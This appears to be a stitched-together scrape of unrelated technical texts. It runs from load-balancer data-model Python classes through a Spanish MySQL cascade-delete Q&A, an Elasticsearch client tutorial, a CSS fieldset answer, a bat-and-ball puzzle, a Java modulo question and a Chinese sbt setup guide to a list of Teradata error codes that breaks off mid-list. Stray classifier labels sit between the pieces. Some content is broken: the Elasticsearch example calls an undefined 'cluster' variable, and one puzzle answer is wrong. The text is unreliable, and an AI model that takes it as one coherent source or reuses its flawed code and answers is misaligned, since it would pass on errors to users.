Explanation: The given SELECT operation contains a WITH…BY grouping clause that contains multiple table references.
This is an internal check for the case — this should not be possible.
Generated By: OPT modules.
For Whom: System Support Representative.
Remedy: Save a test case that causes the failure and contact your support representative.
Above are list of Teradata Errors or Failure Codes from Error 3612 To 3626 received while performing certain operation against Teradata Database or related products.
What are Teradata Database Errors?
In general, each Teradata error message contains the following information:
• The message number.
• The message text. This text is usually returned with the message number. Some messages employ word substitution, where the word substituted represents the system-replacement of a term more specific to the occurrence.
• An explanation of how the error may have occurred.
• Generated-by text that indicates the software module which initiated the message. This field serves a diagnostic purpose for support and development personnel.
• A remedy which suggests how to resolve the condition.
Hope this was helpful.
Thanks,
SQLServerF1 Team
Information about Teradata SQL Error and Failure Codes and Error Messages on Windows, Linux Operating Systems.
Leave a Reply
Your email address will not be published. Required fields are marked *
|
__label__pos
| 0.503102 |
Copy Character Appearance
Hello! I want to create a statue of a player from a leaderboard but I don’t know how it can load the appearance of that player in a dummy. Is there a way for a dummy (statue) to copy the appearance of a player through a script?
You can do game:GetService("Players"):CreateHumanoidModelFromUserId()
3 Likes
Maybe you can use this plugin:
https://www.roblox.com/library/752585459/Load-Character-Lite?Category=Plugins&SortType=Bestselling&SortAggregation=AllTime&SearchKeyword=+load+character&CreatorId=0&Page=1&Position=6&SearchId=90dce16e-bb62-4248-997e-8cc81efb4e92
2 Likes
I think this should help you copy a character appearance.
2 Likes
Or just get the player from the leaderboard and clone it then resize and anchore all the part where the statue should stand
1 Like
|
__label__pos
| 0.814586 |
Actual source code: fwd.c
petsc-3.5.3 2015-01-31
Report Typos and Errors
2: /*
3: Code for manipulating files.
4: */
5: #include <petscsys.h>
6: #if defined(PETSC_HAVE_PWD_H)
7: #include <pwd.h>
8: #endif
9: #include <ctype.h>
10: #include <sys/stat.h>
11: #if defined(PETSC_HAVE_UNISTD_H)
12: #include <unistd.h>
13: #endif
14: #if defined(PETSC_HAVE_SYS_UTSNAME_H)
15: #include <sys/utsname.h>
16: #endif
17: #if defined(PETSC_HAVE_DIRECT_H)
18: #include <direct.h>
19: #endif
20: #if defined(PETSC_HAVE_SYS_SYSTEMINFO_H)
21: #include <sys/systeminfo.h>
22: #endif
26: /*@C
27: PetscGetWorkingDirectory - Gets the current working directory.
29: Not Collective
31: Input Parameters:
32: . len - maximum length of path
34: Output Parameter:
35: . path - use to hold the result value. The string should be long enough
36: to hold the path.
38: Level: developer
40: Concepts: working directory
42: @*/
43: PetscErrorCode PetscGetWorkingDirectory(char path[],size_t len)
44: {
46: #if defined(PETSC_HAVE_GETCWD)
47: if (!getcwd(path,len)) SETERRQ(PETSC_COMM_SELF,PETSC_ERR_LIB,"getcwd()");
48: #elif defined(PETSC_HAVE__GETCWD)
49: _getcwd(path,len);
50: #elif defined(PETSC_HAVE_GETWD)
51: getwd(path);
52: #else
53: SETERRQ(PETSC_COMM_SELF,PETSC_ERR_SUP_SYS, "Could not find getcwd() or getwd()");
54: #endif
55: return(0);
56: }
|
__label__pos
| 0.993918 |
2 Replies Latest reply on Sep 25, 2009 3:04 AM by Pawel R
how to save the history of modifications of the table?
Pawel R Newbie
Hi,
I'm developing an application in Seam. Not going into the details this is a CRUD app and has to keep track on every modification a user ever did in the DB. So I have a few tables and modifying them the app has to save the old values in the historical tables with the same structure (could be even the same tables). Thanks to this I'll know which user did what.
The question is how to implement this. I'm using seam conversation, so the modifications in the DB are being done once a conversation has ended.
There is an annotation @PrePersist...but from there I can't get the previous version of the data. Can I ?
Any ideas ?
|
__label__pos
| 0.836161 |
using nested for loop, workin with displaying prime numbers
Discussion in 'C++' started by triplejump24, Nov 7, 2006.
1. triplejump24
triplejump24 Guest
Hey. Im trying to make program that basically displays all the prime
numbers. I need to use bool and for but im not quite sure if i have this
right. So far i have this bunch of a mess but can anyone point me in the
right direction? Thanks!
# include <iostream>
# include <cmath>
using namespace std;
int i;
//int sqrt;
//int j;
int x;
int j;
int limit;
bool primeNumber(int);
int main() {
// cout << "Limit: ";
// cin >> x;
// if ((x % 2 == 0) & (x % x == 0))
// {
// return true;
// }
// else
// {
// return false;
// return 0;
//}
//
//bool primeNumber; {
// if ((x % 2 == 0) & (x % x == 0))
// {
// return true;
// }
// else
// {
// return false;
// }
//}
for (i = 2; i <= x; i++)
cout << i;
{
for (j = 2; j <= sqrt(i); i++)
cout << sqrt(100.0) << endl;
cout << sqrt(static_cast<double>(100)) << endl; //static cast conversts
from one type to another
}
return 0;
}
triplejump24, Nov 7, 2006
#1
1. Advertising
2. triplejump24
Daniel T. Guest
"triplejump24" <> wrote:
> Hey. Im trying to make program that basically displays all the prime
> numbers. I need to use bool and for but im not quite sure if i have this
> right. So far i have this bunch of a mess but can anyone point me in the
> right direction?
Here's a pointer for you. Start with the code below. When you run it, it
will *not* print "working so far". Insert code where it says "insert
code here" until you can get "working so far" to print (It should be
quite easy :) After you get that part done, un-comment the second
assert and modify the code until 'working so far" prints again, then the
next comment, &c.
#include <iostream>
#include <cassert>
// other includes as necessary
bool is_prime( int number )
{
bool result = false;
// insert code here
return result;
}
int main() {
assert( is_prime( 2 ) );
//assert( is_prime( 3 ) );
//assert( ! is_prime( 4 ) );
//assert( is_prime( 5 ) );
cout << "Working so far!";
}
--
To send me email, put "sheltie" in the subject.
Daniel T., Nov 7, 2006
#2
1. Advertising
3. > Hey. Im trying to make program that basically displays all the prime
> numbers. I need to use bool and for but im not quite sure if i have this
> right. So far i have this bunch of a mess but can anyone point me in the
> right direction? Thanks!
First ask yourself what is a primenumber?
"An integer p is called a prime number if the only positive integers
that divide p are 1 and p itself."
So you need to check your would-be primenumber against all other
integers. Well you do not need to check againts all other integers.
Any integer larger than p will not divide p!
So we need to check all integers smaller than p (excluding 0 and 1).
This is something you should definitely use a loop for.
You can use a "while()" loop, but i would prefer a "for()" loop.
something like for(int n= 2; n<p;n++) in side the loop you can then
check if n divides p. If it does, p is not a prime.
If the loop completes without n dividing p, p is a prime.
If you put all this into a function called IsPrime(int p) which can
return a bool. ( true if the argument was a primenumber, false if
not)
if you now want test a number you can call
if(IsPrime(number_to_test))
{
// This was a prime number
}
You can now use a loop to test all the numbers you would like...
(hint "for loop") or you can write each test explicitly
if(Isprime(2))
:
:
if(Isprime(34))
I know there is a lot of room for improvement in my is prime
function. But start by focussing on getting the function to work
correctly first, then you can always optimise the code if needed.
One optimization is only to test integers smaller than or equal to
the squareroot of p. another ( and more difficult) is to only test a
against all primenumbers smaller than the square root of p, provided
you know ALL of them!!
Two things I think you should consider is what should happen is you
call IsPrime(0) and IsPrime(1). You wil probably have to modify the
IsPrime function to handle this in a sensible way.
A few comments on the code:
> using namespace std;
See http://www.parashift.com/c -faq-lite/coding-standards.html
section 27.5 for a discussion.
You need to use more comments in your code!
If you have a varible, you should make a comment why its there, and
what is is used for. The same applies to functions and files.
make it a good habbit to write many comments, and most importantly
keep the comments in sync with the code!
> cout << sqrt(static_cast<double>(100)) << endl;
Using a cast operator is something that should make you think "Is
this really right?". Casting is often a consecuence of a flawed
design. In some cases there are needed, but avoid them as much as
possible.
I hope this get you closer to your program.
Bo Møller
--
Bo Møller
Hobby-Programmer
=?ISO-8859-15?Q?Bo_M=F8ller?=, Nov 7, 2006
#3
4. triplejump24
Don Guest
triplejump24 wrote:
> Hey. Im trying to make program that basically displays all the prime
> numbers.
#include <stdio.h>
/* This program implements a blindingly fast O(n^n) algorithm
to find prime numbers, using an elegant recursive method.
As required it uses bool and for. */
bool _(int n, int m, int d)
{
bool r = m != n;
for(int i=0; d && (i<n); i++)
r &= _(n,(m<=n)?i*m:0,d-1)|!_(i,1,i);
return r;
}
/*------------------------------------------
Print primes up to the requested value
--------------------------------------------*/
int main(int argc, char* argv[])
{
for(int n = 2; n; n++)
printf("%d is%s prime\n",n, _(n,1,n)?"" : " not");
return 0;
}
Don, Nov 10, 2006
#4
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It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
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__label__pos
| 0.741844 |
How can I check a value entered in a field on my form is a number?
How can I check a value entered in a field on my form is a number?
You can do it client side with JavaScript or server side with php etc.
Are you using php, ASP etc. with your code or just HTML?
How do I make a website field mandatory?
As I posted on your earlier thread it depends on how you are coding your site - you need to put more information into your posts if you want a useful reply.
The best way is to make it mandatory with both JS client side and php server side. If you need code help then give a bit more info as to your requirements.
Threads merged as they seem to be related but will both require the same information supplied anyway.
in HTML5 you can do type=‘number’ in an input tag, keeping in mind not all browsers support html5, and form validation is VITAL
you can ad javascriptt fall backs,
but the SAFEST way is to check your data server side, if when the data is received and checks it is valid then you redirect the user to a new page… other wise you redisplay the form.
How you do his last part sever side will vary depending upon which server side language you are using.
|
__label__pos
| 0.991934 |
Commit 5d8e8d52 authored by Alvaro Sanchez's avatar Alvaro Sanchez
Browse files
Added texture width checks in opacity and gradientOpacity tables.
ColorTransferFunction and PiecewiseFunction estimate an appropriate number of
samples based on a given range and minimum distance between nodes. This estimated
value is used by the volume lookup tables to sample the functions into the texture.
parent ddb5ebc0
Pipeline #23051 passed with stage
......@@ -682,6 +682,37 @@ int vtkPiecewiseFunction::AdjustRange(double range[2])
return 1;
}
//--------------------------------------------------------------------------
int vtkPiecewiseFunction::EstimateMinNumberOfSamples(double const & x1,
double const & x2)
{
double const d = this->FindMinimumXDistance();
int idealWidth = static_cast<int>(ceil((x2 - x1) / d));
return idealWidth;
}
//----------------------------------------------------------------------------
double vtkPiecewiseFunction::FindMinimumXDistance()
{
std::vector<vtkPiecewiseFunctionNode*> const & nodes = this->Internal->Nodes;
size_t const size = nodes.size();
if (size < 2)
return -1.0;
double distance = std::numeric_limits<double>::max();
for (size_t i = 0; i < size - 1; i++)
{
double const currentDist = nodes[i + 1]->X - nodes[i]->X;
if (currentDist < distance)
{
distance = currentDist;
}
}
return distance;
}
// Returns a table of function values evaluated at regular intervals
void vtkPiecewiseFunction::GetTable( double xStart, double xEnd,
int size, double* table,
......
......@@ -165,10 +165,26 @@ public:
vtkGetMacro(AllowDuplicateScalars, int);
vtkBooleanMacro(AllowDuplicateScalars, int);
// Description:
// Estimates the minimum size of a table such that it would correctly sample this function.
// The returned value should be passed as parameter 'n' when calling GetTable().
int EstimateMinNumberOfSamples(double const & x1, double const & x2);
protected:
vtkPiecewiseFunction();
~vtkPiecewiseFunction();
// Internal method to sort the vector and update the
// Range whenever a node is added, edited or removed.
// It always calls Modified().
void SortAndUpdateRange();
// Returns true if the range has been updated and Modified() has been called
bool UpdateRange();
// Description:
// Traverses the nodes to find the minimum distance. Assumes nodes are sorted.
double FindMinimumXDistance();
// The internal STL structures
vtkPiecewiseFunctionInternals *Internal;
......@@ -184,13 +200,6 @@ protected:
// Min and max range of function point locations
double Range[2];
// Internal method to sort the vector and update the
// Range whenever a node is added, edited or removed.
// It always calls Modified().
void SortAndUpdateRange();
// Returns true if the range has been updated and Modified() has been called
bool UpdateRange();
int AllowDuplicateScalars;
private:
......
......@@ -1835,6 +1835,16 @@ int vtkColorTransferFunction::AdjustRange(double range[2])
return 1;
}
//--------------------------------------------------------------------------
int vtkColorTransferFunction::EstimateMinNumberOfSamples(double const & x1,
double const & x2)
{
double const d = this->FindMinimumXDistance();
int idealWidth = static_cast<int>(ceil((x2 - x1) / d));
return idealWidth;
}
//----------------------------------------------------------------------------
double vtkColorTransferFunction::FindMinimumXDistance()
{
......@@ -1844,11 +1854,9 @@ double vtkColorTransferFunction::FindMinimumXDistance()
return -1.0;
double distance = std::numeric_limits<double>::max();
for (size_t i = 0; i < size - 1; i++)
{
double const currentDist = nodes.at(i + 1)->X - nodes.at(i)->X;
double const currentDist = nodes[i + 1]->X - nodes[i]->X;
if (currentDist < distance)
{
distance = currentDist;
......
......@@ -247,8 +247,9 @@ public:
virtual void GetIndexedColor(vtkIdType idx, double rgba[4]);
// Description:
// Traverses the nodes to find the minimum distance. Assumes nodes are sorted.
double FindMinimumXDistance();
// Estimates the minimum size of a table such that it would correctly sample this function.
// The returned value should be passed as parameter 'n' when calling GetTable().
int EstimateMinNumberOfSamples(double const & x1, double const & x2);
protected:
vtkColorTransferFunction();
......@@ -341,6 +342,10 @@ protected:
// any point existed at newX, it will also be removed.
void MovePoint(double oldX, double newX);
// Description:
// Traverses the nodes to find the minimum distance. Assumes nodes are sorted.
double FindMinimumXDistance();
private:
vtkColorTransferFunction(const vtkColorTransferFunction&) VTK_DELETE_FUNCTION;
void operator=(const vtkColorTransferFunction&) VTK_DELETE_FUNCTION;
......
......@@ -18,6 +18,7 @@
#include "vtkCamera.h"
#include "vtkColorTransferFunction.h"
#include "vtkGPUVolumeRayCastMapper.h"
#include "vtkFixedPointVolumeRayCastMapper.h"
#include "vtkImageData.h"
#include "vtkLookupTable.h"
#include "vtkPiecewiseFunction.h"
......@@ -33,6 +34,9 @@
#include "vtkVolumeProperty.h"
#include "vtkXMLImageDataReader.h"
#define GPU_MAPPER
//----------------------------------------------------------------------------
int TestGPURayCastLargeColorTransferFunction(int argc, char* argv[])
{
......@@ -43,8 +47,16 @@ int TestGPURayCastLargeColorTransferFunction(int argc, char* argv[])
// http://www.spl.harvard.edu/publications/item/view/2037
vtkSmartPointer<vtkLookupTable> lut =
vtkSmartPointer<vtkLookupTable>::New();
lut->SetNumberOfTableValues(5023);
lut->SetTableRange(0, 5022);
// Required for vtkLookupTable initialization
int const NumValues = 5023;
lut->SetNumberOfTableValues(NumValues);
lut->SetTableRange(0, NumValues-1);
for (int i = 0; i < NumValues; i++)
{
lut->SetTableValue(i, 0.0, 0.0, 0.0, 0.0);
}
lut->SetTableValue(0, 0 / 255.0, 0 / 255.0, 0 / 255.0, 0 / 255.0);
lut->SetTableValue(2, 250 / 255.0, 250 / 255.0, 225 / 255.0, 255 / 255.0);
lut->SetTableValue(3, 225 / 255.0, 190 / 255.0, 150 / 255.0, 255 / 255.0);
......@@ -80,7 +92,8 @@ int TestGPURayCastLargeColorTransferFunction(int argc, char* argv[])
lut->SetTableValue(54, 98 / 255.0, 153 / 255.0, 112 / 255.0, 255 / 255.0);
lut->SetTableValue(58, 165 / 255.0, 0 / 255.0, 255 / 255.0, 255 / 255.0);
lut->SetTableValue(60, 165 / 255.0, 40 / 255.0, 40 / 255.0, 255 / 255.0);
lut->SetTableValue(61, 135 / 255.0, 205 / 255.0, 235 / 255.0, 255 / 255.0);
// lut->SetTableValue(61, 165 / 255.0, 40 / 255.0, 40 / 255.0, 255 / 255.0);
lut->SetTableValue(61, 135 / 255.0, 205 / 255.0, 235 / 255.0, 255 / 255.0); //medulla oblongata
lut->SetTableValue(63, 90 / 255.0, 105 / 255.0, 215 / 255.0, 255 / 255.0);
lut->SetTableValue(66, 0 / 255.0, 108 / 255.0, 112 / 255.0, 255 / 255.0);
lut->SetTableValue(71, 0 / 255.0, 108 / 255.0, 112 / 255.0, 255 / 255.0);
......@@ -393,6 +406,7 @@ int TestGPURayCastLargeColorTransferFunction(int argc, char* argv[])
const double midPoint = 0.5;
const double sharpness = 1.0;
for (int i = 0; i < numColors; i++, value += step)
// for (int i = 0; i < numColors; i++, value += (50 * step) )
{
lut->GetTableValue(i, color);
......@@ -412,8 +426,14 @@ int TestGPURayCastLargeColorTransferFunction(int argc, char* argv[])
delete [] filename;
filename = NULL;
#ifdef GPU_MAPPER
vtkSmartPointer<vtkGPUVolumeRayCastMapper> volumeMapper =
vtkSmartPointer<vtkGPUVolumeRayCastMapper>::New();
#else
vtkSmartPointer<vtkFixedPointVolumeRayCastMapper> volumeMapper =
vtkSmartPointer<vtkFixedPointVolumeRayCastMapper>::New();
#endif
volumeMapper->SetInputData(reader->GetOutput());
vtkSmartPointer<vtkVolumeProperty> volumeProperty =
......@@ -421,7 +441,7 @@ int TestGPURayCastLargeColorTransferFunction(int argc, char* argv[])
volumeProperty->SetColor(colorTransferFunction);
volumeProperty->SetScalarOpacity(opacity);
volumeProperty->SetInterpolationTypeToNearest();
volumeProperty->ShadeOn();
// volumeProperty->ShadeOn();
volumeProperty->SetAmbient(0.3);
volumeProperty->SetDiffuse(0.6);
volumeProperty->SetSpecular(0.5);
......@@ -437,6 +457,7 @@ int TestGPURayCastLargeColorTransferFunction(int argc, char* argv[])
xf->RotateZ(180.0);
xf->RotateY(25.0);
xf->RotateX(-65.0);
//xf->RotateY(-90.0);
volume->SetUserTransform(xf);
vtkSmartPointer<vtkRenderWindow> renderWindow =
......@@ -460,7 +481,11 @@ int TestGPURayCastLargeColorTransferFunction(int argc, char* argv[])
iren->SetRenderWindow(renderWindow);
renderWindow->Render();// make sure we have an OpenGL context.
#ifdef GPU_MAPPER
int valid = volumeMapper->IsRenderSupported(renderWindow, volumeProperty);
#else
int valid = 1;
#endif
int retVal;
if (valid)
......
......@@ -248,28 +248,9 @@ vtkStandardNewMacro(vtkOpenGLGPUVolumeRayCastMapper);
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
class vtkTextureTable
class vtkTextureTable : public vtkObject
{
public:
vtkTextureTable()
{
this->TextureId=0;
this->Table=0;
this->Loaded=false;
this->LastLinearInterpolation=false;
this->LastRange[0] = this->LastRange[1] = 0.0;
}
virtual ~vtkTextureTable()
{
if(this->TextureId!=0)
{
glDeleteTextures(1,&this->TextureId);
vtkOpenGLStaticCheckErrorMacro("failed at glDeleteTextures");
this->TextureId=0;
}
delete[] this->Table;
this->Table = 0;
}
bool IsLoaded()const
{
return this->Loaded;
......@@ -282,11 +263,17 @@ public:
}
int ComputeTableSize(vtkPiecewiseFunction* function)
{
return this->ComputeTableSize(function->GetSize());
int const idealW = function->EstimateMinNumberOfSamples(this->LastRange[0],
this->LastRange[1]);
return this->ComputeTableSize(idealW);
}
int ComputeTableSize(vtkColorTransferFunction* function)
{
return this->ComputeTableSize(function->GetSize());
int const idealW = function->EstimateMinNumberOfSamples(this->LastRange[0],
this->LastRange[1]);
return this->ComputeTableSize(idealW);
}
int ComputeTableSize(vtkLookupTable* function)
{
......@@ -294,6 +281,26 @@ public:
}
protected:
vtkTextureTable()
{
this->TextureId=0;
this->Table=0;
this->Loaded=false;
this->LastLinearInterpolation=false;
this->LastRange[0] = this->LastRange[1] = 0.0;
}
virtual ~vtkTextureTable()
{
if(this->TextureId!=0)
{
glDeleteTextures(1,&this->TextureId);
vtkOpenGLStaticCheckErrorMacro("failed at glDeleteTextures");
this->TextureId=0;
}
delete[] this->Table;
this->Table = 0;
}
GLuint TextureId;
vtkTimeStamp BuildTime;
float *Table;
......@@ -302,14 +309,38 @@ protected:
double LastRange[2];
private:
vtkTextureTable(const vtkTextureTable&);
vtkTextureTable& operator=(const vtkTextureTable&);
vtkTextureTable(const vtkTextureTable&); VTK_DELETE_FUNCTION
vtkTextureTable& operator=(const vtkTextureTable&); VTK_DELETE_FUNCTION
// Description:
// Queries the GL_MAX_TEXTURE_SIZE and returns either the requested idealWidth
// or the maximum supported.
// Warning: This method assumes there is an active GL context.
int ComputeTableSize(int idealWidth)
{
idealWidth = vtkMath::NearestPowerOfTwo(idealWidth);
GLint maxWidth = -1;
glGetIntegerv(GL_MAX_TEXTURE_SIZE, &maxWidth);
if (maxWidth < 0)
{
vtkErrorMacro("Failed to query max texture size! using default "
<< vtkOpenGLGPUVolumeRayCastMapperOpacityTableSize);
return vtkOpenGLGPUVolumeRayCastMapperOpacityTableSize;
}
int ComputeTableSize(int functionSize)
{
functionSize = std::max(functionSize,
vtkOpenGLGPUVolumeRayCastMapperOpacityTableSize);
return vtkMath::NearestPowerOfTwo(functionSize);
if (maxWidth >= idealWidth)
{
idealWidth = vtkMath::Max(vtkOpenGLGPUVolumeRayCastMapperOpacityTableSize,
idealWidth);
return idealWidth;
}
vtkWarningMacro("This OpenGL implementation does not support the required "
"texture size of " << idealWidth << ", falling back to maximum allowed, "
<< maxWidth << "." << "This may cause an incorrect color table mapping.");
return maxWidth;
}
};
......@@ -319,15 +350,8 @@ private:
class vtkOpacityTable: public vtkTextureTable
{
public:
vtkOpacityTable()
{
this->LastBlendMode=vtkVolumeMapper::MAXIMUM_INTENSITY_BLEND;
this->LastSampleDistance=1.0;
}
~vtkOpacityTable()
{
}
static vtkOpacityTable* New();
vtkTypeMacro(vtkOpacityTable, vtkTextureTable);
// \pre the active texture is set to TEXTURE2
void Update(vtkPiecewiseFunction *scalarOpacity,
......@@ -439,13 +463,22 @@ public:
vtkOpenGLStaticCheckErrorMacro("failed after Update");
}
protected:
vtkOpacityTable()
{
this->LastBlendMode=vtkVolumeMapper::MAXIMUM_INTENSITY_BLEND;
this->LastSampleDistance=1.0;
}
~vtkOpacityTable() {};
int LastBlendMode;
double LastSampleDistance;
private:
vtkOpacityTable(const vtkOpacityTable&);
vtkOpacityTable& operator=(const vtkOpacityTable&);
vtkOpacityTable(const vtkOpacityTable&); VTK_DELETE_FUNCTION
vtkOpacityTable& operator=(const vtkOpacityTable&); VTK_DELETE_FUNCTION
};
vtkStandardNewMacro(vtkOpacityTable);
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
......@@ -454,43 +487,41 @@ class vtkOpacityTables
public:
vtkOpacityTables(unsigned int numberOfTables)
{
this->Tables = new vtkOpacityTable[numberOfTables];
this->NumberOfTables = numberOfTables;
this->Tables.reserve(static_cast<size_t>(numberOfTables));
for (unsigned int i = 0; i < numberOfTables; i++)
{
this->Tables.push_back(vtkOpacityTable::New());
}
}
~vtkOpacityTables()
{
delete [] this->Tables;
size_t const size = this->Tables.size();
for (size_t i = 0; i < size; i++)
{
this->Tables[i]->Delete();
}
}
vtkOpacityTable* GetTable(unsigned int i)
vtkOpacityTable* GetTable(size_t const i)
{
return &this->Tables[i];
return this->Tables[i];
}
unsigned int GetNumberOfTables()
size_t GetNumberOfTables()
{
return this->NumberOfTables;
return this->Tables.size();
}
private:
unsigned int NumberOfTables;
vtkOpacityTable *Tables;
// undefined default constructor.
vtkOpacityTables();
// undefined copy constructor.
vtkOpacityTables(const vtkOpacityTables &other);
// undefined assignment operator.
vtkOpacityTables &operator=(const vtkOpacityTables &other);
vtkOpacityTables(); VTK_DELETE_FUNCTION
vtkOpacityTables(const vtkOpacityTables &other); VTK_DELETE_FUNCTION
vtkOpacityTables &operator=(const vtkOpacityTables &other); VTK_DELETE_FUNCTION
std::vector<vtkOpacityTable*> Tables;
};
//-----------------------------------------------------------------------------
class vtkRGBTable: public vtkTextureTable
{
public:
vtkRGBTable()
{
}
~vtkRGBTable()
{
}
static vtkRGBTable* New();
// \pre the active texture is set properly. (default color,
// mask1, mask2,..)
......@@ -510,6 +541,8 @@ public:
if (range[0] != this->LastRange[0] || range[1] != this->LastRange[1])
{
needUpdate=true;
this->LastRange[0] = range[0];
this->LastRange[1] = range[1];
}
glBindTexture(GL_TEXTURE_1D,this->TextureId);
if(needUpdate)
......@@ -535,8 +568,6 @@ public:
vtkOpenGLStaticCheckErrorMacro("1d RGB texture is too large");
this->Loaded=true;
this->BuildTime.Modified();
this->LastRange[0] = range[0];
this->LastRange[1] = range[1];
}
needUpdate=needUpdate ||
......@@ -559,8 +590,16 @@ public:
vtkOpenGLStaticCheckErrorMacro("failed after Update");
}
protected:
vtkRGBTable() {};
~vtkRGBTable() {};
private:
vtkRGBTable(const vtkRGBTable &other); VTK_DELETE_FUNCTION
vtkRGBTable &operator=(const vtkRGBTable &other); VTK_DELETE_FUNCTION
};
vtkStandardNewMacro(vtkRGBTable);
//-----------------------------------------------------------------------------
//
//-----------------------------------------------------------------------------
......@@ -2535,14 +2574,23 @@ void vtkOpenGLGPUVolumeRayCastMapper::ReleaseGraphicsResources(
}
}
delete this->RGBTable;
this->RGBTable=0;
if (this->RGBTable)
{
this->RGBTable->Delete();
this->RGBTable = NULL;
}
delete this->Mask1RGBTable;
this->Mask1RGBTable=0;
if (this->Mask1RGBTable)
{
this->Mask1RGBTable->Delete();
this->Mask1RGBTable = NULL;
}
delete this->Mask2RGBTable;
this->Mask2RGBTable=0;
if (this->Mask2RGBTable)
{
this->Mask2RGBTable->Delete();
this->Mask2RGBTable = NULL;
}
delete this->OpacityTables;
this->OpacityTables=0;
......@@ -4067,20 +4115,20 @@ void vtkOpenGLGPUVolumeRayCastMapper::PreRender(vtkRenderer *ren,
this->TableRange[1]=scalarRange[1];
if(this->RGBTable==0)
if(this->RGBTable == NULL)
{
this->RGBTable=new vtkRGBTable;
this->RGBTable = vtkRGBTable::New();
}
if (this->MaskInput != 0 && this->MaskType == LabelMapMaskType)
if (this->MaskInput != NULL && this->MaskType == LabelMapMaskType)
{
if(this->Mask1RGBTable==0)
if(this->Mask1RGBTable == NULL)
{
this->Mask1RGBTable=new vtkRGBTable;
this->Mask1RGBTable = vtkRGBTable::New();
}
if(this->Mask2RGBTable==0)
if(this->Mask2RGBTable == NULL)
{
this->Mask2RGBTable=new vtkRGBTable;
this->Mask2RGBTable = vtkRGBTable::New();
}
}
......
......@@ -560,13 +560,13 @@ void vtkOpenGLGPUVolumeRayCastMapper::vtkInternal::Initialize(
if (this->Parent->MaskInput != 0 &&
this->Parent->MaskType == LabelMapMaskType)
{
if(this->Mask1RGBTable == 0)
if(this->Mask1RGBTable == NULL)
{
this->Mask1RGBTable = new vtkOpenGLVolumeRGBTable();
this->Mask1RGBTable = vtkOpenGLVolumeRGBTable::New();
}
if(this->Mask2RGBTable == 0)
if(this->Mask2RGBTable == NULL)
{
this->Mask2RGBTable = new vtkOpenGLVolumeRGBTable();
this->Mask2RGBTable = vtkOpenGLVolumeRGBTable::New();
}
}
......@@ -985,21 +985,27 @@ bool vtkOpenGLGPUVolumeRayCastMapper::vtkInternal::LoadMask(vtkRenderer* ren,
void vtkOpenGLGPUVolumeRayCastMapper::vtkInternal::DeleteTransferFunctions()
{
delete this->RGBTables;
this->RGBTables = 0;
this->RGBTables = NULL;
delete this->Mask1RGBTable;
this->Mask1RGBTable=0;
if (this->Mask1RGBTable)
{
this->Mask1RGBTable->Delete();
this->Mask1RGBTable = NULL;
}
delete this->Mask2RGBTable;
this->Mask2RGBTable=0;
if (this->Mask2RGBTable)
{
this->Mask2RGBTable->Delete();
this->Mask2RGBTable = NULL;
}
delete this->OpacityTables;
this->OpacityTables = 0;
this->OpacityTables = NULL;
|
__label__pos
| 0.980647 |
0
I've been using Amazon RDS instances for Postgres databses for a while, but I haven't had to do a lot of upgrading on large databases until recently. I hit an issue where one database was hundreds of gigs large. The upgrade never completes because the instance is oom killed. I've been reading a lot on the AWS website about common practices for upgrading databases major versions , but I haven't seen anything about large databases oom killing the process and how to avoid.
I believe at least one of our databases on this instance have the potential to eventually get up to 500 gigs or so. Obviously scaling instances vertically to that much memory isn't a great solution (and probably doesn't exist). Also, scaling horizontally JUST for memory to upgrade doesn't seem to be a good approach. What is the normal way to handle this?
3
• FWIW, I'm surprised that the size of the database comes into play with a database system version upgrade. I think that's hardly the case with SQL Server. How have you determined that the size of your database is relevant to the issue?
– J.D.
Commented Feb 7 at 19:03
• I guess it's possible that it's not actually the cause. But, I have multiple RDS instances of identical configuration. I've upgraded all of them through the same versions, and the only one that fails is the one that has a database that's very large. And using monitoring tools I can see that the upgrade tries, until the instance is oom killed. There's no differences between all of the instances except for the size of that one database. I've also ruled out several other things that I thought it was initially. Commented Feb 7 at 19:06
• I cannot imagine an upgrade procedure that needs lots of RAM. Since you cannot directly see what is going on, you might have to ask Amazon. Commented Feb 8 at 16:36
0
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|
__label__pos
| 0.566741 |
Author Topic: TT1 Problem 3 (morning) (Read 1901 times)
Victor Ivrii
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TT1 Problem 3 (morning)
« on: October 19, 2018, 03:55:03 AM »
(a) Show that $u(x,y)= 8xy^3 -8x^3 y+ 5x$ is a harmonic function
(b) Find the harmonic conjugate function $v(x,y)$.
(c) Consider $u(x,y)+iv(x,y)$ and write it as a function $f(z)$ of $z=x+iy$.
Vedant Shah
• Jr. Member
• **
• Posts: 13
• Karma: 8
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Re: TT1 Problem 3 (morning)
« Reply #1 on: October 19, 2018, 09:23:34 AM »
(a)
$
U_{xx} = \frac{\partial}{\partial x} \frac{\partial}{\partial x} U \\
= \frac{\partial}{\partial x} 8y^3 -24x^2 y +5 \\
= -48xy \\
\\
U_{yy} = \frac{\partial}{\partial y} \frac{\partial}{\partial y} U \\
= \frac{\partial}{\partial y} 24x y^2 - 8x^3 \\
= 48xy \\
U_{xx} + U_{yy} = -48xy + 48xy = 0
$
Thus, U is harmonic.
(b)
By Cauchy Reimann:
$
V_y = U_x = 8y^3 - 24x^2 y + 5
\Rightarrow V = 2y^4 - 12 x^2 y^2 +5y +h(x)\\
V_x = -U_y = -24x y^2 + 8x^3
\Rightarrow V = -12 x^2 y^2 + 2x^4 + g(y) \\
\Rightarrow V(x,y) = 2x^4 - 12 x^2 y^2 + 2y^4 + 5y
$
(c)
$$
f(x,y) = U(x,y) + iV(x,y) = 8xy^3 - 8x^3y+5x + i(2x^4 - 12 x^2 y^2 + 2y^4 + 5y) \\
f(x,y) = 2i(x^4 + 4ix^3y - 6x^2y^2 -4ixy^3 +y^4) + 5(x+iy) \\
f(x,y) = 2i(x+iy)^4 + 5(x+iy) \\
f(z) = 2i ({z}) ^4 + 5z\color{red}{+Ci}.
$$
« Last Edit: October 20, 2018, 03:08:41 PM by Victor Ivrii »
|
__label__pos
| 0.996319 |
Home Homepage What is Software Reporter Tool?
What is Software Reporter Tool?
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What is Software Reporter Tool?
What is Software Reporter Tool
Software Reporter Tool
In this article you will get complete information regarding Chrome Software Tool, the issues it creates and how to solve them.
Quick-Navigation Links
What is a Software Reporter Tool?
Software reporter tool is a Google Chrome application that keeps an eye on your browser so that any malicious add-on or forced advertisement could be prevented. This application is also used to send feed-back and crash reports of websites to chrome.
The main purpose of the software reporter tool is to make your experience better on Chrome browser. You can find this application with the name ‘software_reporter_tool.exe’ in your system and it automatically downloads when you install google chrome in your PC.
